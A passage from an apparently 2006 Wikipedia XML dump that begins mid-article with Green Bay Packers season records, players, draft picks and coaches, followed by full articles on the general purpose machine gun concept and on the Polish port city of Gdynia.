|1966 || 12 || 2 || 0 || 1st NFL West || '''Won NFL Championship''' ([[Dallas Cowboys|Cowboys]])&lt;br&gt;'''Won [[Super Bowl I]]''' ([[Kansas City Chiefs|Chiefs]])
|-
|1967 || 9 || 4 || 1 || 1st NFL Central || '''Won NFL Championship''' ([[Dallas Cowboys|Cowboys]])&lt;br&gt;'''Won [[Super Bowl II]]''' ([[Oakland Raiders|Raiders]])
|-
|1968 || 6 || 7 || 1 || 3rd NFL Central || --
|-
|1969 || 8 || 6 || 0 || 3rd NFL Central || --
|-
|1970 || 6 || 8 || 0 || 3rd NFC Central || --
|-
|1971 || 4 || 8 || 2 || 4th NFC Central || --
|-
|1972 || 10 || 4 || 0 || 1st NFC Central || Lost [[NFL playoffs, 1972-73|Divisional Playoffs]] ([[Washington Redskins|Redskins]])
|-
|1973 || 5 || 7 || 2 || 3rd NFC Central || --
|-
|1974 || 6 || 8 || 0 || 3rd NFC Central || --
|-
|1975 || 4 || 10 || 0 || 4th NFC Central || --
|-
|1976 || 5 || 9 || 0 || 4th NFC Central || --
|-
|1977 || 4 || 10 || 0 || 4th NFC Central || --
|-
|1978 || 8 || 7 || 1 || 2nd NFC Central || --
|-
|1979 || 5 || 11 || 0 || 4th NFC Central || --
|-
|1980 || 5 || 10 || 1 || 5th NFC Central || --
|-
|1981 || 8 || 8 || 0 || 3rd NFC Central || --
|-
|1982 || 5 || 3 || 1 || 3rd NFC Conf. || Lost [[NFL playoffs, 1982-83|Second Round]] ([[Dallas Cowboys|Cowboys]])
|-
|1983 || 8 || 8|| 0 || 2nd NFC Central || --
|-
|1984 || 8 || 8 || 0 || 2nd NFC Central || --
|-
|1985 || 8 || 8 || 0 || 2nd NFC Central || --
|-
|1986 || 4 || 12 || 0 || 4th NFC Central || --
|-
|1987 || 5 || 9 || 1 || 3rd NFC Central || --
|-
|1988 || 4 || 12 || 0 || 5th NFC Central || --
|-
|1989 || 10 || 6 || 0 || 2nd NFC Central || --
|-
|1990 || 6 || 10 || 0 || 4th NFC Central || --
|-
|1991 || 4 || 12 || 0 || 4th NFC Central || --
|-
|1992 || 9 || 7 || 0 || 2nd NFC Central || --
|-
|1993 || 9 || 7 || 0 || 3rd NFC Central || Lost [[NFL playoffs, 1993-94|Divisional Playoffs]] ([[Dallas Cowboys|Cowboys]])
|-
|1994 || 9 || 7 || 0 || 2nd NFC Central || Lost [[NFL playoffs, 1994-95|Divisional Playoffs]] ([[Dallas Cowboys|Cowboys]])
|-
|1995 || 11 || 5 || 0 || 1st NFC Central || Lost [[NFL playoffs, 1995-96|Conference Championship]] ([[Dallas Cowboys|Cowboys]])
|-
|1996 || 13 || 3 || 0 || 1st NFC Central || '''Won [[Super Bowl XXXI]]''' ([[New England Patriots|Patriots]])
|-
|1997 || 13 || 3 || 0 || 1st NFC Central || Lost [[Super Bowl XXXII]] ([[Denver Broncos|Broncos]])
|-
|1998 || 11 || 5 || 0 || 2nd NFC Central || Lost [[NFL playoffs, 1998-99|Wild Card Playoffs]] ([[San Francisco 49ers|49ers]])
|-
|1999 || 8 || 8 || 0 || 4th NFC Central || --
|-
|2000 || 9 || 7 || 0 || 3rd NFC Central || --
|-
|2001 || 12 || 4 || 0 || 2nd NFC Central || Lost [[NFL playoffs, 2001-02|Divisional Playoffs]] ([[St. Louis Rams|Rams]])
|-
|2002 || 12 || 4 || 0 || 1st NFC North || Lost [[NFL playoffs, 2002-03|Wild Card Playoffs]] ([[Atlanta Falcons|Falcons]])
|-
|2003 || 10 || 6 || 0 || 1st NFC North || Lost [[NFL playoffs, 2003-04|Divisional Playoffs]] ([[Philadelphia Eagles|Eagles]])
|-
|2004 || 10 || 6 || 0 || 1st NFC North || Lost [[NFL playoffs, 2004-05|Wild Card Playoffs]] ([[Minnesota Vikings|Vikings]])
|-
|2005 || 4 || 12 || 0 || 4th NFC North || --
{{end box}}
&lt;small&gt;1=The NFL was originally named the '''American Professional Football Association''' (APFA) from 1920-1922.&lt;/small&gt;

&lt;small&gt;2=The NFL did not hold playoff games until 1932. The team that finished with the best regular-season record was named the league champion.&lt;/small&gt;

^At the end of the [[2005 NFL season]], the Packers All-Time Record (since 1921) is 639-506-36 (including playoffs).

==Players of note==
===Current players===
{{Green Bay Packers roster}}

===[[Pro Football Hall of Fame]]rs===
* 26 [[Herb Adderly]]
* 3 [[Tony Canadeo]]
* 87 [[Willie Davis (American football)|Willie Davis]]
*[[Len Ford]]
* 75 [[Forrest Gregg]]
* 83 [[Ted Hendricks]]
* 38 [[Arnie Herber]]
* 30 [[Clarke Hinkle]]
* 5 [[Paul Hornung]]
* 36 [[Cal Hubbard]]
* 14 [[Don Hutson]]
* 75 [[Henry Jordan]]
* 2 [[Walt Kiesling]]
* 20 [[Curly Lambeau|Earl (Curly) Lambeau]]
* 80 [[James Lofton]]
*[[Vince Lombardi]]
* 24 [[Johnny (Blood) McNally]]
* 2 [[Mike Michalske]]
* 66 [[Ray Nitschke]]
* 51 [[Jim Ringo]]
* 15 [[Bart Starr]]
* 3 [[Jan Stenerud]]
* 31 [[Jim Taylor]]
*[[Emlen Tunnell]]
* 92 [[Reggie White]]
* 24 [[Willie Wood]]

In addition, the Green Bay Packer Hall of Fame has honored 133 players, coaches and executives.

===Retired numbers===
*[[Tony Canadeo]] #3
*[[Don Hutson]] #14
*[[Bart Starr]] #15
*[[Ray Nitschke]] #66
*[[Reggie White]] #92

===Not to be forgotten===
*[[John Anderson (football player)|John Anderson]] - LB
*[[Edgar Bennett]] - RB
*[[Tony Bennett (football)|Tony Bennett]] - LB
*[[John Brockington]] - RB
*[[Robert Brooks]] - WR
*[[Gilbert Brown]] - DT (a.k.a. &quot;Gravedigger&quot;)
*[[Mark Brunell]] - QB
*[[Terrell Buckley]] - CB
*[[LeRoy Butler]] - S
*[[Chuck Cecil]] - S
*[[Mark Chmura]] - TE
*[[Lynn Dickey]] - QB
*[[Santana Dotson]] - DT
*[[Boyd Dowler]] - WR
*[[Antonio Freeman]] - WR
*[[Brent Fullwood]] - RB
*[[Tim Harris]] - LB
*[[Craig Hentrich]] - P
*[[Johnny Holland]] - LB
*[[Desmond Howard]] - WR/KR
*[[Cecil Isbell]] - QB
*[[Chris Jacke]] - K
*[[Keith Jackson (football player)|Keith Jackson]] - TE
*[[Ezra Johnson]] - DT
*[[Sean Jones]] - DE
*[[Jerry Kramer]] - G, K (author of ''[[Instant Replay]]'')
*[[Mark Lee]] - CB
*[[Dorsey Levens]] - RB
*[[Don Majkowski]] - QB
*[[Tony Mandarich]] - T (bust)
*[[Larry McCarren]] - C
*[[Max McGee]] - WR
*[[Steve McMichael]] - DT
*[[Brian Noble]] - LB
*[[Bryce Paup]] - LB
*[[Andre Rison]] - WR
*[[Marco Rivera]] - G
*[[Eugene Robinson]] - S
*[[Ken Ruettgers]] - OL
*[[Sterling Sharpe]] - WR
*[[Darren Sharper]] - S
*[[Fred &quot;Fuzzy&quot; Thurston]] - G
*[[Mike Wahle]] - G
*[[Vince Workman]] - RB

===First round draft picks===
* 1936 [[Russ Letlow]]
* 1937 [[Ed Jankowski]]
* 1938 [[Cecil Isbell]]
* 1939 [[Larry Buhler]]
* 1940 [[Hal Van Every]]
* 1941 [[George Paskvan]]
* 1942 [[Urban Odson]]
* 1943 [[Dick Wildung]]
* 1944 [[Merv Pregulman]]
* 1945 [[Walt Schlinkman]]
* 1946 [[Johnny Strzyalski]]
* 1947 [[Ernie Case]]
* 1948 [[Earl Girard|Earl &quot;Jug&quot; Girard]]
* 1949 [[Stan Heath]]
* 1950 [[Clayton Tonnemaker]]
* 1951 [[Bob Gain]]
* 1952 [[Babe Parilli]]
* 1953 [[Al Carmichael]]
* 1954 [[Art Hunter]] and [[Veryl Switzer]]
* 1955 [[Tom Bettis]]
* 1956 [[Jack Losch]]
* 1957 [[Paul Hornung]] and [[Ron Kramer]]
* 1958 [[Dan Currie]]
* 1959 [[Randy Duncan]]
* 1960 [[Tom Moore (football)|Tom Moore]]
* 1961 [[Herb Adderly]]
* 1962 [[Earl Gros]]
* 1963 [[Dave Robinson]]
* 1964 [[Lloyd Voss]]
* 1965 [[Donny Anderson]] and [[Larry Elkins]]
* 1966 [[Jim Grabowski]] and [[Gale Gillingham]]
* 1967 [[Bob Hyland]] and [[Don Horn]]
* 1968 [[Fred Carr]] and [[Bill Lueck]]
* 1969 [[Rich Moore]]
* 1970 [[Mike McCoy]] and [[Rich McGeorge]]
* 1971 [[John Brockington]]
* 1972 [[Willie Buchanon]] and [[Jerry Tagge]]
* 1973 [[Barry Smith]]
* 1974 [[Barty Smith]]
* 1975 Traded away
* 1976 [[Mark Koncar]]
* 1977 [[Mike Butler]] and [[Morris Brown]]
* 1978 [[James Lofton]] and [[John Anderson (football)|John Anderson]]
* 1979 [[Eddie Lee Ivory]]
* 1980 [[Bruce Clark]] and [[George Cumby]]
* 1981 [[Rich Campbell]]
* 1982 [[Ron Hallstrom]]
* 1983 [[Tim Lewis]]
* 1984 [[Alphonso Carreker]]
* 1985 [[Ken Ruettgers]]
* 1986 Traded away
* 1987 [[Brent Fullwood]]
* 1988 [[Sterling Sharpe]]
* 1989 [[Tony Mandarich]]
* 1990 [[Tony Bennett (football)|Tony Bennett]] and [[Darrell Thompson]]
* 1991 [[Vinnie Clark]]
* 1992 [[Terrell Buckley]]
* 1993 [[Wayne Simmons (football player)|Wayne Simmons]] and [[George Teague]]
* 1994 [[Aaron Taylor]]
* 1995 [[Craig Newsome]]
* 1996 [[John Michels]]
* 1997 [[Ross Verba]]
* 1998 [[Vonnie Holliday]]
* 1999 [[Antuan Edwards]]
* 2000 [[Bubba Franks]]
* 2001 [[Jamal Reynolds]]
* 2002 [[Javon Walker]]
* 2003 [[Nick Barnett]]
* 2004 [[Ahmad Carroll]]
* 2005 [[Aaron Rodgers]]
* 2006 ''To be announced'' (5th overall pick)

===2005 NFL Draft picks===
{|border =&quot;1&quot; cellpadding =&quot;2&quot;
!width=&quot;150&quot;|Round/Pick
!width=&quot;200&quot;|Player
!width=&quot;100&quot;|Position
!width=&quot;250&quot;|College
|-
|1/24
|[[Aaron Rodgers]]
|[[Quarterback]]
|[[University of California, Berkeley|California]]
|-
|2/51
|[[Nick Collins]]
|[[Safety]]
|[[Bethune-Cookman College|Bethune-Cookman]]
|-
|2/58
|[[Terrence Murphy]]
|[[Wide Receiver]]
|[[Texas A&amp;M University|Texas A&amp;M]]
|-
|4/115
|[[Marviel Underwood]]
|[[Safety]]
|[[San Diego State University|San Diego State]]
|-
|4/125
|[[Brady Poppinga]]
|[[Linebacker]]
|[[Brigham Young University|BYU]]
|-
|5/143
|[[Junius Coston]]
|[[Guard]]/[[Tackle (American football)|Tackle]]
|[[North Carolina Agricultural and Technical State University|North Carolina A&amp;T]]
|-
|5/167
|[[Michael Hawkins (football player)|Michael Hawkins]]
|[[Cornerback]]
|[[University of Oklahoma|Oklahoma]]
|-
|6/180
|[[Mike Montgomery (football player)|Mike Montgomery]]
|[[Defensive End]]
|[[Texas A&amp;M University|Texas A&amp;M]]
|-
|6/195
|[[Craig Bragg]]
|[[Wide Receiver]]
|[[University of California, Los Angeles|UCLA]]
|-
|7/245
|[[Kurt Campbell (football player)|Kurt Campbell]]
|[[Linebacker]]
|[[University at Albany|Albany]]
|-
|7/246
|[[Will Whitticker]]
|[[Guard]]
|[[Michigan State University|Michigan State]]
|-
|}

==Head coaches==
{|
|1921-1949
|[[Curly Lambeau|Earl (Curly) Lambeau]]
|(212-106-21)
|-
|1950-1953
|[[Gene Ronzani]]
|(14-31-1)
|-
|1953
|[[Hugh Devore]] and [[Ray (Scooter) McLean]]
|(0-2-0)
|-
|1954-1957
|[[Lisle Blackbourn]]
|(17-31-0)
|-
|1958
|Ray (Scooter) McLean
|(1-10-1)
|-
|1959-1967
|[[Vince Lombardi]]
|(98-30-4)
|-
|1968-1970
|[[Phil Bengtson]]
|(20-21-1)
|-
|1971-1974
|[[Dan Devine]]
|(25-28-4)
|-
|1975-1983
|[[Bart Starr]]
|(53-77-3)
|-
|1984-1987
|[[Forrest Gregg]]
|(25-37-1)
|-
|1988-1991
|[[Lindy Infante]]
|(24-40-0)
|-
|1992-1998
|[[Mike Holmgren]]
|(73-36-0)
|-
|1999
|[[Ray Rhodes]]
|(8-8-0)
|-
|2000-2005
|[[Mike Sherman]]
|(56-39-0)
|-
|2006-
|[[Mike McCarthy]]
|(0-0-0)
|}

==Current Coaching Staff==
===Head Coach===
* [[Mike McCarthy]]

===Offensive Coaches===
* [[Jeff Jagodzinski]] - [[offensive coordinator|Offensive Coordinator]]
* [[Tom Clements]] - [[Quarterbacks]]
* [[Joe Philbin]] - [[offensive line|Offensive Line]]
* [[Edgar Bennett]] - [[running back|Running backs]]
* [[James Campen]] - Assistant Offensive Line
* [[Ty Knott]] - Offensive Quality Control
* [[Jimmy Robinson]] - [[wide receiver|Wide Receivers]]
* [[Ben McAdoo]]  - [[tight end|Tight Ends]]

===Defensive Coaches===
* [[Bob Sanders (American football coach)|Bob Sanders]] - [[defensive coordinator|Defensive Coordinator]]
* [[Kurt Schottenheimer]] - [[secondary|Secondary]]
* [[Winston Moss]] - [[linebacker|Linebackers]]
* [[Robert Nunn]] - [[defensive tackle|Defensive Tackles]]
* [[Carl Hairston]] - [[defensive end|Defensive Ends]]
* [[Lionel Washington]] - [[defensive team|Defensive Nickel Package/Cornerbacks]]
* Eric Lewis - Defensive Quality Control

===Special Teams Coaches===
* [[Mike Stock (American football coach)|Mike Stock]] - [[special teams|Special Teams]] Coordinator
* Shawn Slocum - Assistant Special Teams

===Conditioning Coaches===
* [[Rock Gullickson]] - [[strength &amp; conditioning|Strength &amp; Conditioning]] 
* [[Mark Lovat]] - Assistant Strength &amp; Conditioning
* [[Brandon Johnson]] - Assistant Strength &amp; Conditioning

==External links==
*[http://www.packers.com/ Green Bay Packers official web site]
*[http://greenbaypressgazette.packersnews.com/ The Green Bay Press-Gazette]
*[http://www.jsonline.com/packer/ Packer Plus (The Milwaukee Journal Sentinel)]
*[http://timesfour.com/groupee/forums/a/frm/f/938109321 x4 Packer Forum]
*[http://packersuniforms.com/ The Green Bay Packers Uniform Database]
*[http://www.sportsecyclopedia.com/nfl/gb/packers.html Sports E-Cyclopedia.com]

{{Green Bay Packers}}
{{NFL}}

[[Category:Green Bay Packers| ]]
[[Category:National Football League teams]]
[[Category:1919 establishments]]

[[de:Green Bay Packers]]
[[fr:Packers de Green Bay]]
[[he:גרין ביי פקרס]]
[[it:Green Bay Packers]]
[[ja:グリーンベイ・パッカーズ]]
[[pt:Green Bay Packers]]
[[sv:Green Bay Packers]]</text>
    </revision>
  </page>
  <page>
    <title>General purpose machine gun</title>
    <id>12664</id>
    <revision>
      <id>40349183</id>
      <timestamp>2006-02-19T23:57:49Z</timestamp>
      <contributor>
        <username>Chobot</username>
        <id>259798</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: ko</comment>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Gun-0001.jpg|thumb|right|General purpose machine gun (GPMG)]] --&gt;

A '''general purpose [[machine gun]]''' ('''GPMG''') in concept is a compromise weapon, a machine gun intended to fill the role of either a [[light machine gun]] or [[medium machine gun]], while at the same time being man-portable.  However, performance in either role may be inferior to a weapon specifically designed for that role.  In modern practice, they are air-cooled medium machine guns firing full-power rifle cartridges such as [[7.62 NATO]]. They are generally operated from a stationary prone position from either a [[bipod]] or [[tripod]], or mounted on a vehicle, as they are usually too powerful and heavy to be fired effectively on foot from an unsupported standing position or on the move.

The modern GPMG is a medium machine gun which operates as a support weapon. The term, which comes from the Belgian name ''Mitrailleuse d'Appui General'' or [[General purpose machine gun|General Purpose Machineguns]] (GPMG), became popular for describing medium machine guns used in multiple roles. The mediums fired full power rifle caliber ammunition, but had some concessions for more extended firing and more general usage.  This generally included both bipod and tripod/pintle mounting options and quick-change barrels. The first medium machine guns used as a GPMG traces back to WWI, where aircooled medium machine guns were used in many different roles, typically with larger magazine on aircraft, tanks, and ships, and in lighter configurations by infantry on bipods on tripods. 

The GPMG designation (or a translation of the term) has been applied by several nations to their weapons, but they did not actually apply the concept, and others did the reverse. Overall the GPMG concept itself has not been especially successful, with lighter machine guns continuing to be used as well as heavier designs. They were successful in supplanting heavy water-cooled designs firing the same caliber, but this was mostly due to that type of weapon being rendered obsolete by modern warfare. In U.S. service, for example, the [[M240]] could be considered a GPMG, but in practice is generally used as a tripod- or vehicle-mounted medium machine gun.  The lighter M249 (firing [[5.56 NATO]] ammunition) is the main U.S. light machine gun/[[squad automatic weapon]], and the [[M2 machine gun]] (using the [[.50 BMG]] [[cartridge (firearms)| cartridge]]) is used in the heavy machine gun role. 

In the [[British Army]], the current GPMG is the [[L7_(machine_gun)|L7]] and in the [[United States Army|US Army]] the [[M240]] which are both versions of the [[FN MAG]], FN ''Mitrailleuse d'Appui General '' (general purpose machine gun). The previous US GPMG (also widely used by allied nations) was the [[M60 machine gun]]. The approximate Russian equivalent is the [[PK machine gun|PKM]].
 
[[Category:Machine guns]]

[[ko:다목적 기관총]]</text>
    </revision>
  </page>
  <page>
    <title>Gdynia</title>
    <id>12665</id>
    <revision>
      <id>38824748</id>
      <timestamp>2006-02-08T22:07:09Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">'''Gdynia''' (pronounce: [[Image:Ltspkr.png]] [[Media:Gdynia.ogg|[:gd&lt;strike&gt;i&lt;/strike&gt;&amp;#626;ia]]], [[German language|German:]] Gdingen/Gotenhafen, [[Kashubian language|Kashubian]]/[[Pomeranian language|Pomeranian]]: ''Gdiniô'') is a city in the [[Pomeranian Voivodship]] of [[Poland]] and an important [[seaport]] at [[Gdansk Bay]] on the south coast of the [[Baltic Sea]].
Gdynia is located in [[Kashubia]] in [[Eastern Pomerania]].
Gdynia is part of a [[conurbation]] with the spa town of [[Sopot]], the city of [[Gdańsk]] (Danzig) and [[suburb]]an communities, which together form a [[metropolitan area]] called the [[Tricity]] (''Trójmiasto'') with a population of over a million people.
&lt;!--SCROLL DOWN IN ORDER TO EDIT THE ARTICLE--&gt;
{{Infobox Poland|
    city_name=Gdynia|
        motto=Gdynia - miasto z morza i marzeń &lt;br&gt;(''Gdynia - a city built of sea and dreams'')|
   voivodship=[[Pomeranian Voivodship|Pomeranian]]|
      council=Rada miasta Gdynia|
        mayor=Wojciech Szczurek|
         area=135,5|
   population=255 300 &lt;small&gt;(2003)&lt;/small&gt; [[List of cities in Poland|Ranked 12th]]|
agglomeration=[[Tricity]] - 1 100 000|
      density=1885|
 date_founded=before [[1209]]|
  city_rights=[[February 10]], [[1926]]|
     latitude=54°32' N|
    longitude=18°32' E|
    area_code=58|
   car_plates=GA|
   twin_towns=[[Aalborg]], [[Baranovichi]], [[Brooklyn]], [[Kaliningrad]], [[Karlskrona]], [[Kiel]], [[Klaipeda|Klaipe&amp;#775;da]], [[Kotka]], [[Kristiansand]], [[Kunda]], [[Liepaja|Liepa&amp;#772;ja]], [[Plymouth]], [[Seattle, Washington|Seattle]]|
      website=http://www.gdynia.pl/?lang=en|
 location_pic=Gdynia location map.png|
     flag_pic=Flaga Gdyni1.PNG|
      coa_pic=Herb Gdyni1.PNG|
colour_scheme=background:#cccccc;|
}}
== History ==
The first known mention of the name &quot;Gdynia&quot; was of a [[Pomeranians|Pomeranian]] ([[Kashubians|Kashubian]]) fishing village, in [[1253]]. [[Oksywie]], now part of Gdynia, was mentioned even earlier in [[1209]]. It was there that the first church on the Polish coast was built. In [[1380]] the  owner of the village which became  Gdynia, Peter from Rusocin, gave the village to the Cisterian Order, so in the years [[1382]]&amp;ndash;[[1772]] Gdynia belonged to the [[Cistercian]] abbey in [[Oliwa]]. In [[1789]] there were only 21 houses in the village.

The area of the later city of Gdynia shared its history with [[Eastern Pomerania]]; in prehistoric times it was the center of [[Oksywian culture]]; it was later populated by [[Goths]] and eventually [[Slavs]] with some [[Baltic Prussian]] influence. As a part of [[Pomerania]], it was a province of [[Poland]] from circa [[990]]&amp;ndash;[[1308]]. In [[1309]]-[[1310]] it was conquered by the [[Teutonic Order]] (1309&amp;ndash;[[1454]]/66), but afterwards became part of the [[Polish-Lithuanian Commonwealth]] ([[1466]]&amp;ndash;[[1772]]. At the [[Partitions of Poland]] of 1772 it was annexed into the [[Kingdom of Prussia]] (1772&amp;ndash;[[1870]]), and as part of Prussia became part of the [[German Empire]] ([[1870]]&amp;ndash;1920).

In 1870 the village of Gdynia had some 1200 inhabitants, and it was not a poor fishing village as it is sometimes described. It was a popular tourist spot with several guest houses, restaurants, cafes, several brick houses and a small harbour with a pier for small trading ships. The first [[Kashubians|Kashubian]] mayor of Gdynia was [[Jan Radtke]]. After the 1919 [[Treaty of Versailles]], the town, with other parts of former [[Polish Pomerania]] (or [[Royal Prussia]]), was became part of the new Republic of Poland, while the centre of the region Gdańsk and surrounding area, which were declared the [[Free City of Danzig]] under the [[League of Nations]] were only partially under Poland's control.

=== Construction of the Seaport ===
The decision to build a major seaport at the Gdynia village was made by the Polish government in winter 1920, because of the hostile attitude of the Danzig (Gdańsk) authorities and the seaport workers towards Allied military supplies to Poland during the [[Polish-Soviet War]] (1919&amp;ndash;1920). Construction of the seaport was started in 1921, but because of financial difficulties was conducted slowly and with interruptions. It was accelerated after the Sejm (Polish parliament) passed the ''Gdynia Seaport Construction Act'' on [[23 September]] [[1922]]. By [[1923]] a 550-metre pier, 175 metres of a wooden tide breaker, and a small harbour had been constructed. Ceremonial inauguration of Gdynia as a temporary military port and fishers' shelter took place on [[23 April]] [[1923]], and the first major seagoing ship arrived on [[13 August]] [[1923]].

To speed up the construction works, the Polish government in November 1924 signed a contract with the [[French-Polish Consortium for Gdynia Seaport Construction]], which by the end of 1925 had built a small seven-metre-deep harbour, the south pier, part of the north pier, a railway, and had also ordered the trans-shipment equipment. The works were going more slowly than expected, however. They accelerated only after May 1926, because of an increase in Polish exports by sea, economic prosperity, the outbreak of the German&amp;ndash;Polish trade war which reverted most Polish international trade to sea routes, and also thanks to the personal engagement of [[Eugeniusz Kwiatkowski]], Polish Minister of Industry and Trade, also responsible for construction of [[Centralny Okręg Przemysłowy]]. Till the end of [[1930]] docks, piers, breakwaters and many auxiliary and industrial installations were constructed (such as depots, trans-shipment equipment, and a rice processing factory) or started (such as a large clod room).

Trans-shipments rose from 10,000 tons (1924) to 2,923,000 tons (1929). At this time Gdynia was the only transit and special seaport designed for coal exports. In the years 1931&amp;ndash;1939 the Gdynia harbour was further extended to become a universal seaport. In 1938 Gdynia was the largest and most modern seaport on the Baltic Sea, as well as the tenth biggest in Europe. The trans-shipments rose to 8.7 million tons, which was 46% of Polish foreign trade. In 1938 the Gdynia shipyard started to build its first full-sea ship, the ''Olza''.

=== Construction of the City ===
The city was constructed later that the seaport. In 1925 a special committee was inaugurated to build the city, in 1926 city expansion plans were designed, and [[city rights]] were granted, in 1927 tax privileges for investors granted. The city started to grow significantly after 1928 and the population grew rapidly to over 120,000 in 1939. 

In [[1930]] the [[Baltic Institute]] in [[Toruń]], institition designed to research the polish heritage in Pomerania, opened its branch in Gdynia.

=== Gdynia during World War II (1939&amp;ndash;1945) ===

The city and seaport were occupied in [[Polish Defence War of 1939|September 1939]] and renamed ''Gotenhafen'' after the [[Goths]] (even though the previous German name was ''Gdingen'', which had no connection to the Goths). Some 50,000 of the Polish citizens were expelled to the [[General Gouvernment]] and their homes were seized by German settlers. The harbour was turned into a German navy base. The [[shipyard]] was extended in 1940 and turned into a branch of a [[Kiel]] shipyard (''Deutsche Werke Kiel A.G.''). It became a primary German naval base, and witnessed several air raids by the Allies from [[1943]] onwards, but suffered little damage. The seaport was largely destroyed by the withdrawing German troops in [[1945]] (90% of the buildings and equipment were destroyed) and the harbour entrance was blocked by the German [[battlecruiser]] [[German battlecruiser Gneisenau|Gneisenau]].

The city was also the location for the [[Nazi]] [[concentration camp]] ''Gotenhafen'', a subcamp of the [[Stutthof concentration camp]].

=== Gdynia after World War II ===

On [[March 28]], [[1945]] Gdynia was captured by the Soviets and assigned to Polish [[Gdansk Voivodship]].

In the [[Polish 1970 protests]], worker demonstrations took place at Gdynia Shipyard. Workers were fired upon by the police. The fallen became symbolized by a fictitious worker [[Janek Wiśniewski]], commemorated in a song by [[Mieczysław Cholewa]], ''Pieśń o Janku z Gdyni''.
One of Gdynia's important streets is named after Janek Wiśniewski. The same person was portrayed by [[Andrzej Wajda]] in his movie ''[[Man of Iron]]'' as Mateusz Birkut.

== Economy ==
Notable companies that have their headquarters in Gdynia:
* [[Stocznia Gdynia]], the largest Polish shipyard
* [[PROKOM SA]], the largest Polish I.T. company
* Two banks, [[Gdynski Bank Komunalny]] and [[Nordea]],
* Some shipping lines.
=== [[Port of Gdynia]] ===
[[image:3_zaglowce.jpg|thumb|250px|[[Cutty Sark Tall Ships' Races]] [[2003]]; [[Stad Amsterdam]], [[Dar Młodzieży]] and [[Dar Pomorza]].]]
*Official name:PORT OF GDYNIA AUTHORITY
*Trans-shipments:
** 1924 10,000 tons
** 1929 2,923,000 tons
** 1938 8,700,000 tons
** 2002 9,365,200 tons
***Containers 252,247 TEU (#2 on the Baltic Sea)
***Passengers 364,202
:::''See also: [[Ports of the Baltic Sea]]''

== Education ==
[[Image:Gdynia kamienna marina.jpg|250px|thumb|right|[[Marina]] in Gdynia View from Kamienna Gora]]
There are currently 7 [[university|universities]] and institutions of higher education based in Gdynia. Many students from Gdynia attend also universities [[List of Polish universities|located in the Tricity]].
*State-owned:
** [[Naval Academy of Gdynia]] - 8,162 students
** [[Military Naval Academy of Gdynia]] - 1,452 students
** [[Gdańsk University]] - departements of Biology, Geography and Oceanology, 1,987 students altogether
*Privately-owned:
** University of Business and Administration - 1,418 students
** University of International Relations - 86 students
** Humanistic University of Pomerania - 38 students
** Cardinal Wyszynski University a department - 219 students
** Pomorska Wyższa Szkoła Humanistyczna
** Wyższa Szkoła Administracji i Biznesu im. [[Eugeniusz Kwiatkowski|Eugeniusza Kwiatkowskiego]]
** Wyższa Szkoła Komunikacji Społecznej
** Wyższa Szkoła Międzynarodowych Stosunków Gospodarczych i Politycznych
:::''See also: [http://www.gdynia.pl/index.php?co=inwestor/notes_edukacja Education in Gdynia]''

== Sports ==
There are many popular professional sports teams in Gdynia and Tricity area. Amateur sports are played by thousands of Gdynia’s citizens, as well as in schools and universities.

=== Sports in Gdynia ===
[[Image:Arka Gdynia.gif|right|Arka Gdynia, Polish football club]]
* [[Arka Gdynia]] - men’s [[Football in Poland|football]] team ([[Polish Cup]] winner [[1979]], 2nd league 2003/2004 and 2004/2005 seasons, 1st league at season 2005/2006)  
* [[Lotos VBW Clima Gdynia]] - women’s basketball team (Polish Champion 2004 in [[Sharp Torell Basket Liga]])
* [[KS Laczpol Gdynia]] - women’s handball team (1st league in season 2003/2004)
* [[Arka Gdynia]] - rugby team (1st league in season 2003/2004)

=== Sports in Tricity ===
* [[Prokom Trefl Sopot]] - men’s basketball team (Polish Champion 2004)
* [[Lotos Gdansk]] - cinder-track racing team (Polish Champion 2004)
* [[Energa Gedania Gdansk]] - women’s volleyball team (Seria A in season 2003/2004)
* [[Nata AZS AWFiS Gdansk]] - women’s handball team (Premier league in season 2003/2004)
* [[DGT AZS AWFiS Gdansk]] - men’s handball team (Premier league in season 2003/2004)
* [[SMS Gdansk]] - men’s handball team (1st league in season 2003/2004)
* [[Stoczniowiec Gdansk]] - men’s ice hockey team (Premier league in season 2003/2004)
* [[Lechia Gdańsk]] - men’s [[Football in Poland|football]] team ([[Polish Cup]] winner [[1983]], [[Polish Supercup]] winner [[1983]]; 3rd league in 2004/2005 season)  
* [[AZS AWFiS Gdansk]] - rugby team (1st league in season 2003/2004)

== Politics ==
=== Gdynia/[[Słupsk]] constituency ===
Members of Parliament ([[Sejm]]) elected from Gdynia/Slupsk constituency
* [[Dorota Arciszewska-Mielewczyk]], [[Platforma Obywatelska|PO]]
* [[Jerzy Budnik]], [[Platforma Obywatelska|PO]]
* [[Izabela Jaruga-Nowacka]], [[Sojusz Lewicy Demokratycznej|SLD-UP]]
* [[Stanislaw Kalinowski|Stanisław Kalinowski]], [[Polskie Stronnictwo Ludowe|PSL]]
* [[Jacek Kowalik]], [[Sojusz Lewicy Demokratycznej|SLD-UP]]
* [[Kazimierz Plocke]], [[Platforma Obywatelska|PO]]
* [[Andrzej Rozanski|Andrzej Różański]], [[Sojusz Lewicy Demokratycznej|SLD-UP]]
* [[Joanna Senyszyn]], [[Sojusz Lewicy Demokratycznej|SLD-UP]]
* [[Jan Sieńko]], [[Sojusz Lewicy Demokratycznej|SLD-UP]]
* [[Robert Strak|Robert Strąk]], [[Liga Polskich Rodzin|LPR]]
* [[Jolanta Szczypinska|Jolanta Szczypińska]], [[Prawo i Sprawiedliwosc|PiS]]
* [[Wladyslaw Szkop|Władysław Szkop]], [[Sojusz Lewicy Demokratycznej|SLD-UP]]
* [[Donald Tusk]], [[Platforma Obywatelska|PO]]
* [[Wieslaw Walendziak|Wiesław Walendziak]], [[Prawo i Sprawiedliwosc|PiS]]
* [[Lech Zielonka]], [[Samoobrona]]
&lt;!-- === Municipal politics ===
to be written --&gt;
== Sights and tourist attractions ==
Gdynia is a relatively modern city and one will not find many historical buildings. The oldest building in Gdynia is [[13th century]] St. Michael Archangel's Church in [[Oksywie]]. There is also a [[17th century]] [[neo-Gothic]] [[manor house]] located in the Folwarczna Street in [[Orlowo|Orłowo]].
